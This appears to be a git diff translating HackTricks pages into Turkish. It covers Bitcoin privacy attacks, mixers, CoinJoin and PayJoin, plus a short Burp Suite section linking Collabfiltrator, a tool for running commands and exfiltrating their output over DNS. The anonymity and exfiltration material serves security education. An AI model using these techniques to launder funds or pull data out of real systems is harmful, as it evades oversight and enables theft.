yerine getirildiğinde bir blok zincirinde yürütülen programlar olarak tanımlanır ve aracılara ihtiyaç duymadan anlaşma yürütmelerini otomatikleştirir. +- **Merkeziyetsiz Uygulamalar (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç ile akıllı sözleşmeler üzerine inşa edilir. +- **Tokenlar ve Coinler**, coinlerin dijital para olarak hizmet etmesi, tokenların ise belirli bağlamlarda değer veya mülkiyeti temsil etmesi ile ayrılır. +- **Yardımcı Tokenlar**, hizmetlere erişim sağlar ve **Güvenlik Tokenları** varlık mülkiyetini belirtir. +- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Merkeziyetsiz Finans anlamına gelir. +- **DEX** ve **DAO'lar**, sırasıyla Merkeziyetsiz Borsa Platformları ve Merkeziyetsiz Otonom Organizasyonlar anlamına gelir. -## Consensus Mechanisms +## Konsensüs Mekanizmaları -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +Konsensüs mekanizmaları, blok zincirinde güvenli ve kabul edilen işlem doğrulamalarını sağlar: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **İş Kanıtı (PoW)**, işlem doğrulama için hesaplama gücüne dayanır. +- **Hisse Kanıtı (PoS)**, doğrulayıcıların belirli bir miktar token bulundurmasını gerektirir ve PoW'ye kıyasla enerji tüketimini azaltır. -## Bitcoin Essentials +## Bitcoin Temelleri -### Transactions +### İşlemler -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Bitcoin işlemleri, adresler arasında fon transferini içerir. İşlemler, yalnızca özel anahtarın sahibi tarafından transferlerin başlatılmasını sağlamak için dijital imzalarla doğrulanır. -#### Key Components: +#### Ana Bileşenler: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Çok İmzalı İşlemler**, bir işlemi yetkilendirmek için birden fazla imza gerektirir. +- İşlemler, **girdiler** (fon kaynağı), **çıktılar** (hedef), **ücretler** (madencilere ödenen) ve **scriptler** (işlem kuralları) içerir. -### Lightning Network +### Lightning Ağı -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Bitcoin'in ölçeklenebilirliğini artırmayı hedefler, bir kanalda birden fazla işlemi gerçekleştirerek yalnızca nihai durumu blok zincirine yayınlar. -## Bitcoin Privacy Concerns +## Bitcoin Gizlilik Endişeleri -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Gizlilik saldırıları, **Ortak Girdi Mülkiyeti** ve **UTXO Değişim Adresi Tespiti** gibi, işlem kalıplarını istismar eder. **Mikserler** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır. -## Acquiring Bitcoins Anonymously +## Bitcoinleri Anonim Olarak Edinme -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +Yöntemler arasında nakit ticareti, madencilik ve mikser kullanımı bulunur. **CoinJoin**, birden fazla işlemi karıştırarak izlenebilirliği karmaşıklaştırırken, **PayJoin** CoinJoin'leri normal işlemler olarak gizleyerek gizliliği artırır. -# Bitcoin Privacy Atacks +# Bitcoin Gizlilik Saldırıları -# Summary of Bitcoin Privacy Attacks +# Bitcoin Gizlilik Saldırıları Özeti -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +Bitcoin dünyasında, işlemlerin gizliliği ve kullanıcıların anonimliği genellikle endişe konusudur. İşte saldırganların Bitcoin gizliliğini tehlikeye atabileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti. -## **Common Input Ownership Assumption** +## **Ortak Girdi Mülkiyeti Varsayımı** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir, bu nedenle **aynı işlemdeki iki girdi adresinin genellikle aynı sahibine ait olduğu varsayılır**. -## **UTXO Change Address Detection** +## **UTXO Değişim Adresi Tespiti** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Bir UTXO, veya **Harcanmamış İşlem Çıktısı**, bir işlemde tamamen harcanmalıdır. Eğer yalnızca bir kısmı başka bir adrese gönderilirse, geri kalan yeni bir değişim adresine gider. Gözlemciler, bu yeni adresin gönderene ait olduğunu varsayarak gizliliği tehlikeye atabilir. -### Example +### Örnek -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Bunu hafifletmek için, karıştırma hizmetleri veya birden fazla adres kullanmak mülkiyeti gizlemeye yardımcı olabilir. -## **Social Networks & Forums Exposure** +## **Sosyal Ağlar ve Forumlar Maruziyeti** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır, bu da **adresin sahibine bağlanmasını kolaylaştırır**. -## **Transaction Graph Analysis** +## **İşlem Grafiği Analizi** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +İşlemler, fon akışına dayalı olarak kullanıcılar arasındaki potansiyel bağlantıları ortaya çıkaran grafikler olarak görselleştirilebilir. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Gereksiz Girdi Heuristiği (Optimal Değişim Heuristiği)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Bu heuristik, birden fazla girdi ve çıktı içeren işlemleri analiz ederek hangi çıktının gönderene geri dönen değişim olduğunu tahmin etmeye dayanır. +### Örnek ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Eğer daha fazla girdi eklemek, değişiklik çıktısını herhangi bir tek girdi kadar büyük yapıyorsa, bu heuristiği karıştırabilir. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Zorunlu Adres Yeniden Kullanımı** -## **Forced Address Reuse** +Saldırganlar, alıcının bunları gelecekteki işlemlerde diğer girdilerle birleştirmesini umarak, daha önce kullanılan adreslere küçük miktarlar gönderebilirler ve böylece adresleri birbirine bağlayabilirler. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Doğru Cüzdan Davranışı -### Correct Wallet Behavior +Cüzdanlar, bu gizlilik sızıntısını önlemek için daha önce kullanılmış, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Diğer Blockchain Analiz Teknikleri** -## **Other Blockchain Analysis Techniques** +- **Kesin Ödeme Miktarları:** Değişiklik olmadan yapılan işlemler, muhtemelen aynı kullanıcıya ait iki adres arasında gerçekleşir. +- **Yuvarlak Sayılar:** Bir işlemdaki yuvarlak bir sayı, bunun bir ödeme olduğunu gösterir; yuvarlak olmayan çıktı muhtemelen değişikliktir. +- **Cüzdan Parmak İzi:** Farklı cüzdanlar, analistlerin kullanılan yazılımı ve potansiyel olarak değişiklik adresini tanımlamasına olanak tanıyan benzersiz işlem oluşturma desenlerine sahiptir. +- **Miktar ve Zaman Korelasyonları:** İşlem zamanlarını veya miktarlarını açıklamak, işlemlerin izlenebilir hale gelmesine neden olabilir. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Trafik Analizi** -## **Traffic Analysis** +Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir ve kullanıcı gizliliğini tehlikeye atabilir. Bu, bir varlığın birçok Bitcoin düğümü işletmesi durumunda özellikle doğrudur ve işlemleri izleme yeteneklerini artırır. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Daha Fazla -## More +Gizlilik saldırıları ve savunmaları hakkında kapsamlı bir liste için [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) adresini ziyaret edin. -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Anonim Bitcoin İşlemleri -# Anonymous Bitcoin Transactions +## Bitcoinleri Anonim Olarak Elde Etmenin Yolları -## Ways to Get Bitcoins Anonymously +- **Nakit İşlemler**: Nakit ile bitcoin edinmek. +- **Nakit Alternatifleri**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin ile değiştirmek. +- **Madencilik**: Bitcoin kazanmanın en özel yöntemi madenciliktir, özellikle yalnız yapıldığında çünkü madencilik havuzları madencinin IP adresini bilebilir. [Madencilik Havuzları Bilgisi](https://en.bitcoin.it/wiki/Pooled_mining) +- **Hırsızlık**: Teorik olarak, bitcoin çalmak anonim olarak edinmenin bir başka yöntemi olabilir, ancak bu yasadışıdır ve önerilmez. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Karıştırma Hizmetleri -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Bir karıştırma hizmeti kullanarak, bir kullanıcı **bitcoin gönderebilir** ve **karşılığında farklı bitcoinler alabilir**, bu da orijinal sahibin izlenmesini zorlaştırır. Ancak, bu hizmetin kayıt tutmaması ve gerçekten bitcoinleri geri döndürmesi için güven gerektirir. Alternatif karıştırma seçenekleri arasında Bitcoin kumarhaneleri bulunmaktadır. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin**, farklı kullanıcılardan gelen birden fazla işlemi birleştirerek, girdileri çıktılarla eşleştirmeye çalışan herkes için süreci karmaşık hale getirir. Etkinliğine rağmen, benzersiz girdi ve çıktı boyutlarına sahip işlemler hala izlenebilir. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunmaktadır. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Daha fazla bilgi için [CoinJoin](https://coinjoin.io/en) adresini ziyaret edin. Ethereum'da benzer bir hizmet için [Tornado Cash](https://tornado.cash) adresine göz atın; bu hizmet, madencilerden gelen fonlarla işlemleri anonimleştirir. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +CoinJoin'un bir varyantı olan **PayJoin** (veya P2EP), iki taraf (örneğin, bir müşteri ve bir satıcı) arasında işlemi, CoinJoin'un belirgin eşit çıktılar özelliği olmadan, normal bir işlem olarak gizler. Bu, tespit edilmesini son derece zorlaştırır ve işlem gözetim varlıkları tarafından kullanılan ortak-girdi-sahipliği heuristiğini geçersiz kılabilir. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Yukarıdaki gibi işlemler PayJoin olabilir, gizliliği artırırken standart bitcoin işlemlerinden ayırt edilemez kalır. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoin'in kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde bozabilir**, bu da işlem gizliliği arayışında umut verici bir gelişme haline getirir. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Kripto Para Birimlerinde Gizlilik için En İyi Uygulamalar -# Best Practices for Privacy in Cryptocurrencies +## **Cüzdan Senkronizasyon Teknikleri** -## **Wallet Synchronization Techniques** +Gizliliği ve güvenliği korumak için, cüzdanların blockchain ile senkronize edilmesi kritik öneme sahiptir. İki yöntem öne çıkmaktadır: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Tam düğüm**: Tüm blockchain'i indirerek, tam düğüm maksimum gizlilik sağlar. Daha önce yapılmış tüm işlemler yerel olarak saklanır, bu da düşmanların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini belirlemesini imkansız hale getirir. +- **İstemci tarafı blok filtreleme**: Bu yöntem, blockchain'deki her blok için filtreler oluşturarak cüzdanların belirli ilgi alanlarını ağ gözlemcilerine ifşa etmeden ilgili işlemleri tanımlamasını sağlar. Hafif cüzdanlar bu filtreleri indirir, yalnızca kullanıcının adresleriyle eşleşme bulunduğunda tam blokları alır. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Anonimlik için Tor Kullanımı** -## **Utilizing Tor for Anonymity** +Bitcoin'in eşler arası bir ağda çalıştığı göz önüne alındığında, IP adresinizi maskelemek için Tor kullanılması önerilir, bu da ağla etkileşimde gizliliği artırır. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Adres Yeniden Kullanımını Önleme** -## **Preventing Address Reuse** +Gizliliği korumak için her işlem için yeni bir adres kullanmak hayati öneme sahiptir. Adreslerin yeniden kullanılması, işlemleri aynı varlıkla ilişkilendirerek gizliliği tehlikeye atabilir. Modern cüzdanlar, tasarımları aracılığıyla adres yeniden kullanımını teşvik etmez. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **İşlem Gizliliği için Stratejiler** -## **Strategies for Transaction Privacy** +- **Birden fazla işlem**: Bir ödemeyi birkaç işleme bölmek, işlem miktarını belirsizleştirerek gizlilik saldırılarını engelleyebilir. +- **Değişimden kaçınma**: Değişim çıktısı gerektirmeyen işlemleri tercih etmek, değişim tespit yöntemlerini bozarak gizliliği artırır. +- **Birden fazla değişim çıktısı**: Değişimden kaçınmak mümkün değilse, birden fazla değişim çıktısı oluşturmak yine de gizliliği artırabilir. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Anonimlik Işığı** -# **Monero: A Beacon of Anonymity** +Monero, dijital işlemlerde mutlak anonimlik ihtiyacını karşılar ve gizlilik için yüksek bir standart belirler. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gaz ve İşlemler** -# **Ethereum: Gas and Transactions** +## **Gazı Anlamak** -## **Understanding Gas** +Gaz, Ethereum'da işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve **gwei** cinsinden fiyatlandırılır. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gaz limiti ve bir temel ücret içerir, ayrıca madencileri teşvik etmek için bir bahşiş vardır. Kullanıcılar, fazla ödeme yapmamalarını sağlamak için maksimum bir ücret belirleyebilir ve fazlası iade edilir. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **İşlemleri Gerçekleştirme** -## **Executing Transactions** +Ethereum'daki işlemler bir gönderici ve bir alıcı içerir; bu alıcı ya kullanıcı ya da akıllı sözleşme adresi olabilir. İşlemler bir ücret gerektirir ve madencilik yapılması gerekir. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gaz limiti ve ücretlerdir. Özellikle, göndericinin adresi imzadan çıkarılır, bu da işlem verilerinde bulunmasına gerek kalmaz. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto para birimleriyle etkileşimde bulunmanın temelini oluşturur. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Referanslar - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/burp-suite.md b/src/burp-suite.md index 6fc2a1525..2d3136061 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -4,9 +4,9 @@ - **Basit Liste:** Her satırda bir giriş içeren bir liste - **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için. -- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-). -- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma. -- **Kaba Kuvvet:** Karakter seti, minimum ve maksimum uzunluk. +- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulamak (değişiklik yok, küçük harfe, BÜYÜK HARFE, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-). +- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar üretmek. +- **Kaba Kuvvet:** Karakter seti, minimum & maksimum uzunluk. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı DNS istekleri aracılığıyla burpcollab'a almak için payload. diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md index 71b79f58f..a1132e0d6 100644 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,180 +1,176 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Concepts +## Temel Kavramlar -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Akıllı Sözleşmeler**, belirli koşullar yerine getirildiğinde bir blok zincirinde yürütülen programlar olarak tanımlanır ve aracılara ihtiyaç duymadan anlaşma yürütmelerini otomatikleştirir. +- **Merkeziyetsiz Uygulamalar (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç ile akıllı sözleşmeler üzerine inşa edilir. +- **Tokenlar ve Coinler**, coinlerin dijital para olarak hizmet etmesi, tokenların ise belirli bağlamlarda değer veya mülkiyeti temsil etmesi ile farklılaşır. +- **Yardımcı Tokenlar**, hizmetlere erişim sağlar ve **Güvenlik Tokenları** varlık mülkiyetini belirtir. +- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Merkeziyetsiz Finans anlamına gelir. +- **DEX** ve **DAO'lar**, sırasıyla Merkeziyetsiz Borsa Platformları ve Merkeziyetsiz Otonom Organizasyonlar anlamına gelir. -## Consensus Mechanisms +## Konsensüs Mekanizmaları -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +Konsensüs mekanizmaları, blok zincirinde güvenli ve kabul edilen işlem doğrulamalarını sağlar: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **İş Kanıtı (PoW)**, işlem doğrulaması için hesaplama gücüne dayanır. +- **Hisse Kanıtı (PoS)**, doğrulayıcıların belirli bir miktar token bulundurmasını gerektirir ve PoW'ye kıyasla enerji tüketimini azaltır. -## Bitcoin Essentials +## Bitcoin Temelleri -### Transactions +### İşlemler -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Bitcoin işlemleri, adresler arasında fon transferini içerir. İşlemler, yalnızca özel anahtarın sahibi tarafından transferlerin başlatılmasını sağlamak için dijital imzalarla doğrulanır. -#### Key Components: +#### Ana Bileşenler: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Çok İmzalı İşlemler**, bir işlemi yetkilendirmek için birden fazla imza gerektirir. +- İşlemler, **girdiler** (fon kaynağı), **çıktılar** (hedef), **ücretler** (madencilere ödenen) ve **senaryolar** (işlem kuralları) içerir. -### Lightning Network +### Lightning Ağı -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Bitcoin'in ölçeklenebilirliğini artırmayı hedefler, bir kanalda birden fazla işlemi gerçekleştirerek yalnızca nihai durumu blok zincirine yayınlar. -## Bitcoin Privacy Concerns +## Bitcoin Gizlilik Endişeleri -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Gizlilik saldırıları, **Ortak Girdi Mülkiyeti** ve **UTXO Değişim Adresi Tespiti** gibi, işlem kalıplarını istismar eder. **Karıştırıcılar** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır. -## Acquiring Bitcoins Anonymously +## Bitcoinleri Anonim Olarak Edinme -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +Yöntemler arasında nakit ticareti, madencilik ve karıştırıcıların kullanımı bulunur. **CoinJoin**, birden fazla işlemi karıştırarak izlenebilirliği karmaşıklaştırırken, **PayJoin** CoinJoin'leri normal işlemler olarak gizleyerek gizliliği artırır. -# Bitcoin Privacy Atacks +# Bitcoin Gizlilik Saldırıları -# Summary of Bitcoin Privacy Attacks +# Bitcoin Gizlilik Saldırıları Özeti -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +Bitcoin dünyasında, işlemlerin gizliliği ve kullanıcıların anonimliği genellikle endişe konusudur. İşte saldırganların Bitcoin gizliliğini tehlikeye atabileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti. -## **Common Input Ownership Assumption** +## **Ortak Girdi Mülkiyeti Varsayımı** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir, bu nedenle **aynı işlemdeki iki girdi adresinin genellikle aynı sahibine ait olduğu varsayılır**. -## **UTXO Change Address Detection** +## **UTXO Değişim Adresi Tespiti** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Bir UTXO, veya **Harcanmamış İşlem Çıktısı**, bir işlemde tamamen harcanmalıdır. Eğer yalnızca bir kısmı başka bir adrese gönderilirse, geri kalan yeni bir değişim adresine gider. Gözlemciler, bu yeni adresin gönderene ait olduğunu varsayarak gizliliği tehlikeye atabilir. -### Example +### Örnek -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Bunu hafifletmek için, karıştırma hizmetleri veya birden fazla adres kullanmak mülkiyeti gizlemeye yardımcı olabilir. -## **Social Networks & Forums Exposure** +## **Sosyal Ağlar ve Forumlar Maruziyeti** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır, bu da **adresin sahibine bağlanmasını kolaylaştırır**. -## **Transaction Graph Analysis** +## **İşlem Grafiği Analizi** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +İşlemler, fon akışına dayalı olarak kullanıcılar arasındaki potansiyel bağlantıları ortaya çıkaran grafikler olarak görselleştirilebilir. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Gereksiz Girdi Heuristiği (Optimal Değişim Heuristiği)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Bu heuristik, birden fazla girdi ve çıktı içeren işlemleri analiz ederek hangi çıktının gönderene geri dönen değişim olduğunu tahmin etmeye dayanır. +### Örnek ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Eğer daha fazla girdi eklemek, değişiklik çıktısını herhangi bir tek girdi kadar büyük yapıyorsa, bu heuristiği karıştırabilir. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Zorunlu Adres Yeniden Kullanımı** -## **Forced Address Reuse** +Saldırganlar, alıcının bunları gelecekteki işlemlerde diğer girdilerle birleştirmesini umarak daha önce kullanılan adreslere küçük miktarlar gönderebilir, böylece adresleri birbirine bağlayabilirler. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Doğru Cüzdan Davranışı -### Correct Wallet Behavior +Cüzdanlar, bu gizlilik sızıntısını önlemek için daha önce kullanılan, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Diğer Blockchain Analiz Teknikleri** -## **Other Blockchain Analysis Techniques** +- **Tam Ödeme Miktarları:** Değişiklik olmadan yapılan işlemler, muhtemelen aynı kullanıcıya ait iki adres arasında gerçekleşir. +- **Yuvarlak Sayılar:** Bir işlemdeki yuvarlak bir sayı, bunun bir ödeme olduğunu gösterir; yuvarlak olmayan çıktı muhtemelen değişikliktir. +- **Cüzdan Parmak İzi:** Farklı cüzdanlar, analistlerin kullanılan yazılımı ve potansiyel olarak değişiklik adresini tanımlamasına olanak tanıyan benzersiz işlem oluşturma desenlerine sahiptir. +- **Miktar ve Zaman Korelasyonları:** İşlem zamanlarını veya miktarlarını açıklamak, işlemlerin izlenebilir hale gelmesine neden olabilir. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Trafik Analizi** -## **Traffic Analysis** +Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir, bu da kullanıcı gizliliğini tehlikeye atabilir. Bu, bir varlığın birçok Bitcoin düğümü işletmesi durumunda özellikle doğrudur ve işlemleri izleme yeteneklerini artırır. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Daha Fazla -## More +Gizlilik saldırıları ve savunmaları hakkında kapsamlı bir liste için [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) adresini ziyaret edin. -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Anonim Bitcoin İşlemleri -# Anonymous Bitcoin Transactions +## Bitcoinleri Anonim Olarak Elde Etmenin Yolları -## Ways to Get Bitcoins Anonymously +- **Nakit İşlemler**: Nakit ile bitcoin edinmek. +- **Nakit Alternatifleri**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin ile değiştirmek. +- **Madencilik**: Bitcoin kazanmanın en özel yöntemi madenciliktir, özellikle yalnız yapıldığında çünkü madencilik havuzları madencinin IP adresini bilebilir. [Madencilik Havuzları Bilgisi](https://en.bitcoin.it/wiki/Pooled_mining) 